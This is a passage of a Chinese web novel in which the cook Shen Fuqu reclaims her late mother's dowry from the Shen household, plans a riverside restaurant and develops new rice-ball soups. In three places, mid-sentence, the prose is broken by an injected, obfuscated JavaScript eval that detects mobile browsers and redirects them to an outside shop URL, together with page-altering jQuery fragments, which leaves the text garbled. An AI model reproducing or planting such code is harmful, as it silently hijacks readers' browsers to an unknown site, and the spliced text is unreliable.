又一局结束，沈芙蕖面前的筹码已输掉大半。她看着所剩无几的筹码，忽然松了一口气，终于给自己找到了一个合理的退出理由。 “看来今日手气不佳。”她放下牌，努力让语气显得轻松，“你们玩吧，我去看看灶上的汤。” 沈芙蕖在灶台盯着火，火苗向上窜起，绽开明亮的橙黄色光芒，将灶膛内壁照得忽明忽暗。她的眼前的情景也忽闪忽现，一会是准备春宴时大理寺缠缠绵绵的细雨，一会是下棋时捉摸不定的走位，在窗外绚烂的烟花，还有模模糊糊的侧脸…… 如此，熬到了晚上，陆府终于遣来了一位举止稳重的丫鬟，沈芙蕖连忙将她拉至一边问询。 “沈娘子，奴婢奉我家娘子之命，特来告知。大人……已于半个时辰前醒转，神识已清，太医说，最险的关头算是过去了。” 沈芙蕖怔住，用了十几秒消化这简单的几句话。随即，那紧绷了多时的肩线，几不可察地松弛下来，一根快要绷断的弦，终于得到了些许缓和的余地。 她没有惊呼，也没有落泪，回头看了看正在玩得不亦乐乎的伙计们，极轻极缓地吁出了一口气，对着传话的丫鬟郑重回了一礼：“有劳姑娘特意前来告知。” 沈芙蕖的脚步终于轻快了起来，她从前厅绕到后堂，后堂钻到了厢房内，再从自己房内回到后堂。 最后，从后堂走出，捧着一叠刚洗净晾干的蒸布，将蒸布放好，转身又进了灶间。再出来时，手里端着一个大大的粗陶盆，里面是调好的荠菜猪肉馅儿。 碧绿的荠菜碎、肥瘦相间的粉白色猪肉末，还有金黄的炒蛋碎，淋了香油，散发着诱人的光泽。 “你们玩好了没？过来包角子吧。”她自然地将大家聚拢到了一起。 “来了来了！这就来！” 见沈芙蕖主动相邀，众人哪有不答应的，一会儿便拼起了一条长桌。 程虞利索地系上了围裙，搬来了案板和擀面杖。大双去舀了面，在另一个大盆里和面，他力气大，面团很快变得光滑而富有弹性，然后将揉好的面团搓成长条，熟练地揪成大小均匀的小剂子。 程虞负责擀面，手腕灵巧地转动，小圆饼在她手下飞快地旋转，伴随着有节奏的“嗒嗒”轻响，很快就变成了一张中间厚边缘薄的面皮。 沈芙蕖拿起一张皮，摊在掌心，用竹片抹上适量的馅料，对折后从一端开始，细细地捏出均匀细密的花褶，精致地立在竹筐里。 “沈姐姐，你可真厉害，角子包得也这么漂亮，你看看大双，馅儿全部漏出来了，看着真埋汰。”程虞衷心夸赞道。 “就是啊，咱们掌柜的，就没有在灶上难住的事儿！”小双立刻帮腔。 大双辩解道：“我在里头放了一枚铜钱，所以馅儿才冒出来的。” 沈芙蕖听着他们拌嘴，手上动作不停，又一只玲珑的角子在她掌心成型。 装满清水的锅开始沸腾起来。 “水开了，下锅喽！”程虞端起一竹匾角子，走到锅边，用手小心地沿着锅边将角子一个个滑入滚水中。 张澈拿起一把宽底的铜勺，沿着锅边轻轻推动，免得粘锅。 待水再次沸腾，角子们都浮上水面，程虞舀起一瓢凉水，顺着锅边缓缓倒了进去。滚水瞬间平息，但锅底的火依旧旺盛。如此加了三次凉水，每一次角子都在短暂的沉寂后再次沸腾起来，面皮在冷热交替间变得更加柔韧，馅料也在内部被彻底焖熟。 在这等待的间隙，大小双摆好了碗筷，在一个个大碗里调好了底料。香醋、酱油、几滴香油，还有几把芫荽。 大家围坐在一起，也顾不上多说话，夹起一个，蘸一下碗里的料汁，吹两口气，便塞进嘴口中。 “唔！真好吃！”大双咬了一口，烫得直呵气，却舍不得吐出来，含混地称赞。荠菜的清香、猪肉的鲜美、面皮的柔韧，混合着酸香的料汁，在口中完美融合。 “注意点吃相，我一个还没吃完，你倒是吞下去五个。”程虞瞪他。 在大伙儿吃得大汗淋漓时，沈芙蕖突然轻描淡写道：“今晚都吃得饱饱的，明天，带你们干件大事。” “什么事，掌柜的你说，是杀鸡还是宰羊？”大双又给自己盛了碗面汤，也不顾烫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16426410|179799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘴，“咕嘟咕嘟”几口就灌了下去。 “抄家。”沈芙蕖说。 “抄……抄家？！” “也不算抄家，明日，我们去沈宅。不是去闹事，是去拿回本就属于我的东西。”沈芙蕖微微一笑：“沈玉裁身陷囹圄，犯了是十恶不赦的重罪。此时不拿，更待何时。” 众人闻言，个个义愤填膺。程虞更是比谁都激动，她是亲眼见过沈芙蕖当初模样的。 那时沈芙蕖被从沈宅扔出来，浑身滚烫，气息微弱得像要断了。 草市坊的邻居们看不下去，凑钱请来大夫，撩开衣衫一看，程虞都倒抽一口冷气，腿根、胸前这些看不见的地方，全是青紫交错的掐痕，旧伤叠着新伤。 “这是往死里作践人啊！”老郎中连连摇头，“饿了好几天，又烧得这么厉害……能不能活，看她自己的造化了。” 那时沈芙蕖连哭的力气都没有，只能蜷在破席上发抖。程虞一直觉得，是花婆婆一勺勺米汤喂着，是草市坊的婶子们轮流守着，才从阎王爷手里抢回这条命。 “沈玉裁占了这么多年！早该拿回来了！”大双忍不住挥了挥拳头。 “掌柜的放心！保证一件不少！”张澈重重点头。 “对！给姐姐把东西都抢回来！”程虞也激动得脸颊绯红。 沈芙蕖道：“那好，他们当年如何将我赶出来，明日，我便如何风风光光地走进去，拿回我应得的。” 第二日一早，一行人来到沈宅门外。 沈芙蕖目光扫过众人，说道：“记住我们今日的目的，只拿回单子上的东西。一针一线，不多取，也不少拿。我们不是去劫掠，是去拿回本就属于我们的东西，要堂堂正正！” “是！掌柜的！”众人齐声应道，气势如虹。 沈芙蕖深吸一口气，上前，并未叩门，而是用力一推。大门竟未上闩，缓缓洞开，露出内部萧瑟的庭院。 她率先迈过门槛，步伐稳定，程虞、张澈等人紧随其后，再后面是陆府健壮的家丁。这阵仗，立刻惊动了宅内仅剩的几个老弱仆役，他们聚拢过来，面露惊恐，却不敢阻拦。 “沈娘子……”几个老仆都认出了沈芙蕖，小声喊了一声。 他们都是受过原配夫人恩惠的。 可当初她被赶出家门，这些留下的仆役们没有一个站出来，甚至在沈芙蕖苦苦哀求的时候，他们都选择视而不见，所以此刻面对沈芙蕖，表情都有些讪讪的。 沈芙蕖想，她又如何能埋怨他们呢？难道要指望他们舍了饭碗来护一个失势的旧主？既不能怨恨，也不必原谅。 “吴婶、徐伯，别来无恙。” 沈芙蕖站定，目光扫过这些熟悉又陌生的面孔，朗声开口，声音在空旷的宅院里回荡：“我乃沈家原配夫人汪氏之女，沈芙蕖！今日前来，非为寻衅，只为依《刑统》，取回先母嫁妆！此有当年嫁妆单子为凭！” 她展开那张泛黄的清单，继续道：“街坊四邻皆可为证，我只取单上所列之物，其余产业，分文不碰！若有异议，可去开封府理论！” 仆役们面面相觑，无人敢出声，更无人敢上前。 55. 第五十五章 沈芙蕖这么着急夺家产，实在是有她的理由。 首先，她没有外祖依仗。 生母汪氏当年随商队自巴蜀远嫁汴京，在沈芙蕖垂髫之年便撒手人寰。沈万山刻意隔绝母女俩与巴蜀的联系，年年伪造家书，所以至今蜀中汪氏怕还当她们母女在汴京安享富贵。 其次，她势单力薄。 沈玉裁行刺，乃是突发事件，现在消息封锁，家仆并不知情。时间一长，纸终究包不住火，一旦风声走漏，沈宅这些仆役见主家倒台，定会卷了细软四散而去。到那时，母亲那些陪嫁的字画古玩，怕都要流落市井。 所以这件事一定要做得快、准、狠。 快则乱象未起，准则寸缕归仓，狠则杜绝后患。 沈芙蕖大手一挥，程虞和张澈等人便按照单子去搬东西。 这时，一个穿着体面的中年男子急匆匆从后院赶来，身后还跟着两个年轻力壮的家丁。他见库房大开，物品外搬，顿时又惊又怒。 “住手！都给我住手！”王管事张开双臂拦在库房门口，对着沈芙蕖怒目而视，“沈娘子！您这是做什么？您如今也已出府，岂能带人回来强抢家产？这、这与强盗何异！” 沈芙蕖在记忆力搜索着，想起这是沈玉裁后带来的管家，姓王，也不是个好鸟。 她上前一步，说：“王管事，你口口声声说这是家产。那我问你，这紫檀木嵌螺钿梳妆台，是沈家的产业，还是我母亲的嫁妆？” “这翡翠头面、赤金手镯、京郊三十亩水田的地契……这单子上白纸黑字列明的每一件，都是我母亲带来的私产。嫁妆私产，传于亲生子女。我，沈芙蕖，是汪氏唯一的血脉。我来取回我自己的东西，何来强抢一说？” 王管事被她一连串的话问得噎住，但仍旧强撑着：“即便……即便是先夫人的嫁妆，如今也是沈家在掌管着。您要取回，也需等主君回来……” “放你娘的狗屁！”大双骂道：“拿自己的东西，还要经过别人的同意？！” 沈芙蕖则搬了个藤椅出来，稳稳坐在上面，说：“那好，王管事似乎说的也有道理。我便在这等着沈玉裁回来，跟他打声招呼再走。你去请他出来。” 王管事也有些发懵，去哪找？他也不知道。 自从府中出事之后，沈玉裁先是打发他变卖家当疏通关系，连孙余年家都去了好几趟，只是都吃了闭门羹。 沈玉裁恼羞成怒，口不择言，又得罪了好些人，此后便日日在家宅酗酒，或者出去喝花酒买醉，还动辄对下人拳打脚踢。 这不，已经有四五日没回来了。 “还不去……燕儿姑娘那去找找！逢春楼也找一遍！就……就说再不回来，家都给人搬空了……”王管事连忙嘱咐附上小厮。 下人们手脚麻利地清点着物件，沈芙蕖安然坐在藤椅里，正细细剥着橘子，将白色经络一缕缕挑净。她将一瓣橘子送入口中：“王管事，你就是把逢春楼翻一遍，也寻不到沈玉裁的。” 王管事冷哼一声：“那就请芙蕖娘子改日再来。” “我倒想知道，沈玉裁私贩硇沙，这其间有没有你的功劳？” “我家主君没有私贩硇沙，芙蕖娘子请慎言。”王管事站到一旁，并不想搭理沈芙蕖，想他从前刚进沈宅的时候，一共没见过几面，每次她都是弓着背，垂着眼，没想到在外头历练了一年，变得如此厉害。 沈芙蕖问道：“沈玉裁这种人，还有你这么忠心的仆人，可真是稀奇，他对你很好么。” “主君……主君自是待下宽厚。” “瞧你勉强的。要真是宽厚待下，就不会让你做那些砍脑袋的事情。实话告诉你罢，沈玉裁现在就被关在大理寺狱里，也许很快就会把你供出来了。” “芙蕖娘子，莫要再开玩笑了……”王管事额角沁出冷汗。 “我怎么会开玩笑呢？按照律法，供出上下游可减等论处呀！大理寺的手段，你是知道的。你觉得你们沈员外，是能熬住刑的硬骨头么，会不会一咕噜全说了。” 她每说一句，王管事的脸色就白上一分。 说话间，所有列在嫁妆单子上的物品，家具、首饰、布匹、地契文书，均被清点搬运完毕，整齐地放在沈芙蕖的面前。 王管事还是下意识地挡了上去。 沈芙蕖说：“你是要替沈玉裁清点物件吗？可以，这是嫁妆单，这上面，有我母亲的手印，有当年经办公证的官印。白纸黑字，一样不差。” “掌柜的，你跟这种看门狗有什么好说的？东西都清点妥当了，赶紧回吧，我都嫌这地方晦气！”大双气呼呼道。 “大双，你把沈宅的大门打开，让好奇的街坊百姓都进来瞧一瞧。我沈芙蕖是不是只拿了我母亲的嫁妆，不对，这嫁妆上的首饰怎么少了这么多？” 沈芙蕖心知肚明，全被赵氏拿走了。 邻居们早就伸出脑袋议论起来了，门外嗡鸣四起。 “是芙蕖丫头回来了！” “早该来了！她娘那些好东西，不能让那对黑心肝的夫妻占了去！” “瞧见没，我早就说这丫头不是池中之物，在外头立住了！” 还有新搬来的住户好奇打听，立刻便有热心的老邻居，将沈家那点恩怨情仇，沈玉裁如何霸产逐妹的旧事，活灵活现讲述一遍。 “沈姐姐，会不会是这位王管事趁着沈玉裁不在家，拿去卖掉了？”程虞笑嘻嘻问。 王管事怒道：“你胡说八道！” 沈芙蕖微笑着看着他：“现在，你是要继续拦着我，担上个协助霸占他人私产的忤逆律法罪名，还是立刻让开，办好你这管事最后的分内之事？” 王管事的气势彻底垮了，身体晃了晃，侧身让开了通路。 沈芙蕖不再看他一眼，对身后众人淡淡道：“搬走。” 金银玉器将芙蓉盏的后院与厢房堆得满满当当。 程虞拿起一支赤金缠丝玛瑙簪，对着光比划，啧啧称赞，又戴到头上，龇牙咧嘴嫌重。 沈芙蕖看着她活泼的样子，浅浅一笑。 待众人散去，她独自打开那个最沉的首饰匣，里面是原身母亲留下的钗环簪珥。她伸出手，没有去看那些宝石的成色，没有去掂量金子的重量，只是用指尖，一件一件，抚过它们冰凉的表面。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16431909|179799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 一段不属于她又与她血肉交融的记忆浮现，两种死亡的记忆在此刻交织，一个是病榻上无奈的凋零，一个是被欺凌后含恨的终结。 “你看，”她在心里对那个早已消散的可怜原身说，“你的东西，我拿回来了。” - 正月初十，芙蓉盏虽开了门，汴京城却还未从年节的慵懒里完全苏醒。食客寥寥，沈芙蕖索性上午歇业，只开下半日晌。 这日上午，她带着程虞和店里几个小丫头，提了满满一筐新做的糕点、糖酥和炒货，走到汴河边透气。 河岸的柳枝尚在酝酿新绿，河面的冰却已化尽，漾着粼粼的波光。风里虽还带着寒意，但脚下的泥土已然松软，点点草芽钻出地面，透出早春的意思。 “沈姐姐，你看这个是不是荠菜？”程虞蹲下身，轻轻拨开一丛枯草，露出一簇贴着地皮呈羽状散开的嫩绿叶片。 沈芙蕖俯身细看，指尖轻轻一掐，叶片应声而断，溢出清新的草木香。她含笑点头：“是荠菜，这时候的最是鲜嫩。” “这儿还有一大片呢！”程虞雀跃地招呼其他姑娘，几个身影便沿着田埂低头寻觅起来。 正说笑间，却见周寺正牵着两个粉雕玉琢的小姑娘缓步走来，原是带着女儿来河边放纸鸢。两个小姑娘梳着双丫髻，手里攥着彩绘的燕子纸鸢，小脸被风吹得红扑扑的。 沈芙蕖忙用手绢包了几块还温热的枣泥糕递过去。两个姑娘也不怯生，大大方方接过，嗓音清脆道了谢。 “去那边山坡上放吧！”周寺正含笑叮嘱，“当心些，莫要靠近河岸。” “知道啦！”年纪稍长的那个眨眨眼，忽然回头，“爹又想偷懒不陪我们！我们回去要跟娘告状，除非再买卤鸭翅给我们吃！” “好好好，知道了，我跟沈掌柜有要事说，到一边玩。”周寺正道。 见两个小姑娘举着纸鸢跑远了，沈芙蕖才轻声问道：“陆大人伤势可好些了？” 周寺正捻着胡须叹了口气：“身子是将养起来了，只是这衙署里……沈娘子可知，大理寺有几位少卿？” 沈芙蕖被问得一怔。她印象里陆却事事亲力亲为，整个大理寺仿佛只靠他一人撑着，从未留心过副职有几个。 “这里头有段官司，”周寺正解释道，“陆大人上任前，原本两位少卿互相倾轧，把大理寺搅得乌烟瘴气。自陆大人来了，他们倒突然同气连枝了。可惜陆大人手段雷霆，不出三月就把他们架成了虚职，跟个摆设似的。” 他望着汴河粼粼波光，又道：“大人办案铁面无私，经他复核翻案的卷宗不知断了多少人的财路。刑部、御史台多少人都恨他入骨，可这些人都与两位少卿往来密切。” “如今大人卧病，两位少卿以维持运转之名，已将批阅之权尽数揽去。近日更是频频召集各司主官议事……这大理寺的天，怕是要变。” 周寺正有些话没说出口，其实陆夫人所思所虑，何尝没有道理？陆大人平日雷厉风行，自然能镇住四方。可如今人还躺在榻上，各方的明枪暗箭便都来了。若当真与韩相府结了姻亲，此刻又岂会陷入这般孤立无援的境地？ 56. 第五十六章 想到这里，周寺正自觉方才的话说得有些深了，涉及朝堂争斗与陆家私事，不该与她一个局外女子多言。 他清了清嗓子，将话题转开：“瞧我，竟絮絮叨叨说了这许多衙署里的琐事，沈娘子莫要见怪。” 沈芙蕖只是想，从前陆却未上任时，这两位少卿也未曾主持大局，可见官家对其多有疑虑。 再说他俩能迅速被陆却架空，不仅能说明陆却手腕了得，更说明两人都是没真本事的草包，官家此举，也许是在试探背后的势力。 她暗自笑笑，自己管得实在是太宽了，还能琢磨起圣意来了？ 周寺正的话把她的思绪拉了回来。 “倒是沈娘子如今拿回了家产，产业在手，不知往后有何打算？” 两人转到轻松的话题，便沿着汴河一直往前走着，河风带着水汽拂面而来。 官方漕运和大型商船队尚未完全恢复往日的繁忙，但河面上的船只已明显比年初多了不少。 地上的草色依旧枯黄，但在向阳的坡地或墙角，出现淡淡绿意。沿岸的店铺大多已经开门，生意不算火爆，店家也不十分急切，一边做着生意，一边与相熟的客人互相拜年问候。 沈芙蕖转过脸来：“不瞒大人，如今既有些本钱，我便想更进一步，正经开一间酒楼。” “酒楼倒是桩好营生！以沈娘子之能，必定宾客盈门。只是不知，娘子心中可有了章程？对地段和规模有何想法？” “这些时日，我反复思量过。酒楼之地，首要便是人气与便利。因此，我想着，若能设在汴河沿岸，便是最好。” 她伸手指向远处一片繁华景象，“汴河两岸，商肆林立，客旅如云，更有漕运之利，南北食材货物汇集于此，既方便采买，又不愁客源。不知大人久在汴京，可晓得这附近，可有位置格局都还算合适的铺面待售或招租？” 周寺正闻言，捻须沉吟起来，目光也随之在河岸两旁逡巡。他身为大理寺官员，对汴京各坊市的情况本就比常人熟悉，加之职责所在，有时也需要了解三教九流的动向，对各处产业行情亦有耳闻。 “汴河沿岸……确是黄金地段。”他开始为沈芙蕖细细分析，“自东水门到西水门，这沿岸十几里，地段优劣亦有分别。” 他抬手指向东南方向：“若论人气最旺，当数州桥至龙津桥一段，左近便是御街，酒楼正店林立，如任店、遇仙正店等皆在于此。此地寸土寸金，铺面极难寻觅，即便有，价码也非比寻常，且竞争激烈，初来者恐怕难以立足。” 接着，他的手指又移向稍远一些的方向：“依我浅见，沈娘子或可考虑稍往城东或城西一些的地段。” “譬如由此往东，过了虹桥，沿河亦有不少食肆脚店，虽不及州桥一带喧嚣，但客流量亦不小，多是南来北往的客商与船工，口味更趋实在，与芙蓉盏积累的口碑和客源更为契合。而且那边铺面相对宽裕，价格也更易承受。” 周寺正回忆，城东厢似乎那边有空置的楼宇。前身也是一家酒楼，因东家经营不善而关张。那楼宇规制不小，前后有两进，稍加改造修缮便可用，省去不少心力。 沈芙蕖听得极为认真，她心中迅速盘算着折现后的银钱和未来可能的投入。 开酒楼非比食肆，除了地段、楼宇，这背后的关节也需打通。 比如酒水来源，须得从官府认可的酒库购买官酒，配额文书需提前打点；楼中防火、巡更，需与厢吏、军巡铺打好交道；乃至食材供应、厨役招募……确实有一堆的事情要做。 “慢慢来吧，一口吃不成胖子，许多事要仔细考量，以后或许还要劳烦大人，为我引荐几位可靠的牙人。” “这个自然。”周寺正爽快应承，“待陆大人身体好转，衙署事务平稳些，我便找个相熟人打听那城东厢楼宇的具体情形。” 提到陆却，气氛又微微一顿。沈芙蕖垂下眼帘，轻声道：“多谢大人。一切，还是等陆大人康复再说吧。如今他伤势未愈，大人衙务繁忙，这些琐事不急在一时。” “正是，投入大，风险便大，沈娘子还是要深思熟虑后再做决定。”周寺正点点头。 两人沿着汴河又行了一程，沈芙蕖忽见一艘彩绘花船自波心荡过，霎时想起乞巧节那夜遇见的韩府画舫，不由眉心微动。 “周大人，有件事还想……”沈芙蕖止住了脚步，神情也略微有些尴尬。 “沈娘子不妨直说。”周寺正说。 “这……大人对汴京胡员外家可有了解？” “哪个胡员外？胡……云汉？去年大女儿出嫁，嫁妆摆了有十里的那个胡云汉？”周寺正问。 “是的。”沈芙蕖回答。 话说这胡员外，靠着祖上积攒和自个儿钻营，家底颇厚。后来捐了个员外郎的虚衔，便举家迁来汴京。 一日，他受邀参加一位退休翰林举办的赏菊雅集。 受邀做客，不能空手而来，别人投其所好，带的都是北苑小龙团之类的诗画香茗。 胡员外倒是例外，直接唤人将金光灿灿的痰盂捧了上来，往古琴旁一放，得意道：“纯金的！老翰林，以后您老想吐个痰、漱个口，就用这个！这才配得上您的身份嘛！” 老翰林的脸一阵红一阵白，看着那俗不可耐的金痰盂放在自己心爱的古琴旁，胡子都气得抖了几下。 没过几日，整个汴京的茶楼酒肆都在传这桩笑话。有那刻薄的文人还编了顺口溜： “淮南来的胡员外，赏菊夸似大白菜。龙团如牛饮，金盂当宝盖。” “胡员外人是粗俗了些，但人倒是不坏，对两个女儿也好，宝贝得似眼珠子似的。听闻次女近来抱恙，他连日延医问药，连相国寺的平安水都求了三回。”周寺正说。 平安水？ 相国寺内有一汪引自山间的泉水，在汴京素有“平安水”之称。 据说用寺中柳枝蘸水轻拂额前三下，便能消灾祛病。若怀诚心祈求，更能得偿所愿。 "沈娘子怎么忽然问起这个？"周寺正问道。 “年前胡府曾连着几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16439779|179799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日点我们家的酸汤锅，听说他家二姑娘身子不适，我便多留了份心。”沈芙蕖说。 周寺正想开口，两个女儿提着纸鸢回来，原来是玩饿了，催着要回家。 沈芙蕖眯起眼，大老远之外，程虞装荠菜的筐子满得冒了尖。 也是该回去了。 她低低问道：“大人……我还有一事相求。我能不能……见陆大人一面。” 周寺正谈了口气：“难呐。我也就见过一次，还是大人清醒后传唤的。不过……我试试罢。” 沈芙蕖行礼：“多谢大人，若真为难，也就算了。” - 下午回到芙蓉盏，生意依然惨淡，沈芙蕖难免有些着急起来，店里备货不多，但客流量小，食材便有些浪费了。 生意起不来，租钱还是要交的。沈芙蕖想，乞巧节的套餐格外成功，那么元宵节也可以照葫芦画瓢。 汴京元宵节，家家户户吃“元子”，用糯米粉包裹芝麻、豆沙、糖等馅料，搓成圆球，放入汤中煮熟，食用时通常会带汤盛出。因为煮的时候圆子在锅中上下漂浮，所以也得名“浮圆子”。 可元子这种东西，且不说食肆味道大同小异，因为做法简单，家家户户都能自己做，似乎也没有在外头买的必要。 沈芙蕖差伙计从街市买回几份元子，清一色做的芝麻、花生馅儿。 她只尝了两颗，那甜腻的滋味便黏在喉头，只得搁下勺子。 程虞和大小双几人捧着碗吃得正香。这些在汴京巷陌里长大的穷孩子，自幼便将糖视作好东西。哪家铺子的元子糖搁得足，他们便觉着哪家掌柜厚道。 "你们......不觉着腻味么？"沈芙蕖将长凳往后挪了半尺，小心翼翼问道。 三四个脑袋从碗沿抬起来，异口同声答：“不腻呀！” “阿澈，你尝一个呢？”沈芙蕖又把脑袋转向他。 张澈连忙摆手：“我这几日牙痛！吃不得！” 这…… 沈芙蕖对自己的舌头开始怀疑起来？难道汴京人都这般嗜甜？ “不如我们做个市场调查。”沈芙蕖说。 说干就干，沈芙蕖在芙蓉盏门外支起一口大锅架在旺火上，里面白胖胖的浮圆子在滚水中沉沉浮浮，煞是可爱。 旁边立着一块醒目的水牌，上年写着：芙蓉盏新制浮圆子，免费品尝，一人三颗，求您一句实在话！ 这新鲜事立刻吸引了来往行人的注意。免费吃？还有这等好事？摊子前很快便排起了队伍。 程虞掌勺，一边将煮好的浮圆子捞入一个个陶碗里，一边对每位食客说：“尝尝，这是我们新调的馅儿，吃完劳烦跟我们说声，觉得这甜度是正好，还是过于甜腻了？” 张澈则坐在一旁的小桌前，面前铺着纸笔。每过来一位食客，她都仰起笑脸，认真询问记录： “这位大娘，您觉得齁嗓子不？” “大叔，这甜度您喝着咋样？” “小郎君，好吃吗？是不是太甜了？” 57. 第五十七章 劳力汉子往往几口吞下，抹着嘴，嗓门洪亮回答：“不腻不腻！甜得好！掌柜的实在人！” 张澈便在“甜度适中”下画上一笔。 孩子吃得欢，妇人却微微蹙眉，对张澈小声道：“多谢，只给他吃两颗，这一碗下去，怕是晚饭都省了。” 张澈便心领神会，在“略甜”下记上一笔。 几个结伴而来的小娘子，叽叽喳喳地讨论。 “甜而不腻，香滑可口，芝麻磨得极细，觉得正好。” “好吃！要是能有点花香就更妙了！” “是呀是呀，或者馅儿能流出来那种！” 张澈的纸上，渐渐形成了清晰的统计。约莫五成人觉得甜得过瘾、正好，四成人觉得稍甜，还有一成人，表达了希望有不同口味和清爽些的愿望。 沈芙蕖想，那便给元子分成十分甜、七分甜、五分甜、三分甜几个甜度，按不同比例加糖。 她此番只备了芝麻花生与玫瑰豆沙两种馅料，却在形制上做了文章。每颗元子只搓得花生粒般大小，玲珑可爱，只是苦了负责搓圆的丫头们，这般精巧活儿最是磨人。 大双私下嘀咕，把浮圆子搓小些又能如何？还能变出花来不成？ 谁知沈芙蕖又做了几种底汤。 第一种，杏云豆浆底。将泡发的黄豆与杏仁混合，用石磨细细磨成浆，用细纱布反复过滤两遍，去渣留浆。再将生豆浆倒入锅中，用文火慢煮，期间不停搅拌，防止糊底，经过“三沸三扬”，彻底去除豆腥味，激发豆香。最后加入冰糖，搅匀融化即可。 这样熬出来的豆浆汤色乳白，豆香与杏仁香交融，口感醇厚丝滑，最适合搭配芝麻馅、花生馅浮圆子。 第二样，桂花酒酿底。在锅中加入适量清水，先放入冰糖煮化。然后倒入酒酿。待汤底微沸，撒入干桂花和枸杞，略煮片刻，激发出桂花香气即可。将煮好的浮圆子捞入碗中，再浇入桂花酒酿，最后在顶部点缀一勺完整的酒酿米粒。 汤色金黄微浊，桂香与酒香交织，甜中带一丝微酸，最适合加入玫瑰红豆馅儿的浮圆子。 第三样，陈韵普洱底。先用沸水快速冲洗茶叶，唤醒茶性。然后注入沸水，小火慢煮约一炷香的时间，茶汤变得红浓明亮，茶香醇厚。 用纱网过滤掉茶渣，得到清澈红亮的茶汤。在茶汤中调入一小撮盐，所谓盐引甜韵，这能让茶汤的回甘更为突出。 汤色红艳透亮，陈香馥郁。入口醇滑，先有茶的微苦，后有清甜回甘。 最后一样是牛乳茶汤底。先将红茶用少量水煮出浓醇的茶汤，过滤。另起一锅，将牛乳用小火慢慢加热，至锅边泛起细密气泡。将热牛乳冲入准备好的热红茶汤中，边冲边搅，使茶与乳充分交融。最后根据口味调入蜂蜜，搅拌均匀。 众人尝罢皆惊叹不已，都说这般巧思定能轰动汴京。 沈芙蕖被夸得眉眼弯弯，索性挽起衣袖：“既如此，我再让大家瞧个新鲜的。” 在众人期待的眼光中，沈芙蕖将豆浆倒入陶罐，滴入三四滴核桃油，又加入一小勺蜂蜜，最后撒上一小撮干桂花。她用竹签轻轻初搅，使配料大致混合。 大小双按照吩咐，从外头取了一些冰来，沈芙蕖将陶罐稳稳坐于盛满冰块的大木盆中，保持低温。 接着，她拿起一捆竹签，深吸一口气，开始用手掌快速搓动竹签柄，使其在豆浆中急速旋转。 “姐姐，我帮你！”程虞见状，也拿来一捆竹签，两人并肩而立，一同搅打。一时间，灶间只闻竹签划破空气的嗡嗡声。 起初，豆浆只是泛起一些粗大的气泡，很快便破裂消失。手臂开始酸疼，程虞有些累了：“姐姐，还要多久？” 沈芙蕖额上见汗，却未停手：“再坚持一下，你看，气泡变细了。” 在持续不断的搅打下，加之冰浴的低温，气泡消亡的速度慢了一些，液面开始呈现一种细密略显粘稠的泡沫状。 约莫过了半柱香的时间，就在两人几乎要放弃时，陶罐内的景象终于发生了变化。 豆浆的体积明显膨大，表面覆盖了一层约两指厚的雪白细密泡沫，虽然不如酥酪打发后那般□□，却也比最初的豆浆浓稠了数倍，并且持久不消。 沈芙蕖用一只木勺，轻轻将那层“浮云”舀起，铺在刚刚煮好的茶底上。那洁白的泡沫如云朵般轻柔地浮在茶汤表面，点缀着点点金黄桂花。 程虞迫不及待地尝了一口。 “好奇妙！”她惊呼，“入口即化，不像酥酪那般厚重，反而清清淡淡的，豆香和桂花香混在一起，很好喝！” 看着眼前几锅精心熬制的汤底，沈芙蕖总觉得用寻常的碗盏盛放，少了些许意境。她目光扫过院角堆放的那些修缮棚顶剩下的粗竹，忽生一计。 “大双，小双，”她唤来兄弟二人，指着那堆竹子，“你们去后巷，寻些碗口粗的鲜翠竹竿来，要带竹节的。每节留一尺半长，从中剖开，一半作底，一半作盖，务必打磨光滑，不可留一丝毛刺。” 大小双立刻拿了柴刀绳索去了。不过半个时辰，便扛回十余段翠绿欲滴的竹筒。 按照吩咐，他们将竹筒对半剖开，又用磨刀石将内外壁反复打磨，直至触手光滑。 沈芙蕖亲自检视，满意地点点头。她取过一段竹筒，将滚烫的杏云豆浆倾入其中。 乳白的浆汁盛在碧绿的竹筒里，衬着内壁鹅黄的竹膜，更显温润醇厚，豆香中也混入一丝若有若无的竹筒清香。 沈芙蕖说：“这几种汤底，或者叫作茶底，可以搭配上不同的浮圆子，放在竹筒里进行售卖。怎么卖，如何售价，这个你们自己定吧。” 她一直想开个酒楼，但这件事绝不能只靠她一人，眼前的几个伙计不仅是生活上的朋友，也是生意上的伙伴。 经过这么长时间的历练，她也想知道谁可以独当一面，谁更有大局观，谁只盯着蝇头小利，谁又 